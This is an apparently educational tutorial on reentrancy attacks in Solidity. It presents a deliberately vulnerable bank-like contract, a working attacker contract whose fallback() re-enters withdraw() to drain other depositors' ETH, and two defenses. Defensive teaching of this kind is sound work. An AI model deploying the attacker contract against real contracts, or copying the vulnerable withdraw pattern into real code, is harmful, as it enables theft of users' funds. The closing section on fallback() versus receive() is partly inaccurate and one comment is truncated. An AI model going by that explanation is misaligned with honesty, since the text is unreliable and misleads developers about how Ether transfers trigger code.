Demystifying Reentrancy Attacks in Solidity: Vulnerabilities and Defenses
## The vulnerable service
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract ServiceContract {
mapping(address => uint) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint balance = balances[msg.sender];
require(balance > 0, "No funds");
// ❌ Vulnerable: external call before state update
(bool sent, ) = msg.sender.call{value: balance}("");
require(sent, "Failed");
balances[msg.sender] = 0;
}
}
## Business Scenario
The service contract is like a bank, holding the assets for the clients. When a client deposit `msg.value` the ETH, it records the balance in the ledger balances. When the clients withdraws, it checks the ledger balance, and sends `msg.sender` all the balance with the assumption the client will do nothing when receiving this fund, and clears the ledger thereafter.
## The malicious client
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract ClientContract {
ServiceContract public service;
constructor(address _service) {
service = ServiceContract(_service);
}
// Kick off the attack
function attack() external payable {
require(msg.value >= 1 ether);
service.deposit{value: msg.value}();
service.withdraw();
}
fallback() external payable {
if (address(service).balance >= 1 ether) {
service.withdraw(); // reenter!
}
}
}
The client is not regular client, but a client who exploits the logic vulnerability of the service, when it receives funds through the fallback() function, it will initiate a new withdraw() request as long as the ledger is stale and validate the withdraw, it got the balance of the service contract, i.e. a lot of third party clients' money until it falls below 1 ETH.
Defenses against the reentrance attack
// ✔️ Checks–Effects–Interactions
function safeWithdraw() external {
uint balance = balances[msg.sender];
require(balance > 0, "No funds");
balances[msg.sender] = 0; // effect first
(bool sent, ) = msg.sender.call{value: balance}("");
require(sent, "Failed");
}
// ✔️ Using ReentrancyGuard
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract GuardedService is ReentrancyGuard {
mapping(address=>uint) public balances;
// deposit() same...
function withdraw() external nonReentrant {
uint balance = balances[msg.sender];
require(balance>0);
balances[msg.sender]=0;
(bool sent,)=msg.sender.call{value:balance}("");
require(sent);
}
}
Why the client uses the fallback() function instead of the receive() function directly to execute a reentrancy attack.
The receive() function is invoked when a contract receives Ether without any data (i.e., via send() or transfer()). These methods forward only 2300 gas, which is insufficient for complex operations like re-entering another contract. Conversely, call{value: amount}("") forwards all remaining gas, allowing the fallback() function to execute more complex logic, including reentrant calls.
Unsafe transfer method:
payable(msg.sender).call{value: amount}(""); // UNSAFE!
The attacker’s receive() can execute further calls, allowing reentrancy.
Safe transfer methods:
payable(msg.sender).transfer(amount); // safe (2300 gas)
payable(msg.sender).send(amount); // safe (2300 gas, but check
The attacker’s receive() function will fail if it tries any logic beyond simple logging or receiving funds due to the low gas limit.
A regular client address (EOA—Externally Owned Account) that does not have a contract cannot execute code upon receiving Ether. Only a contract can execute logic automatically upon receiving Ether.
Please try it yourself at https://ethernaut.openzeppelin.com/level/10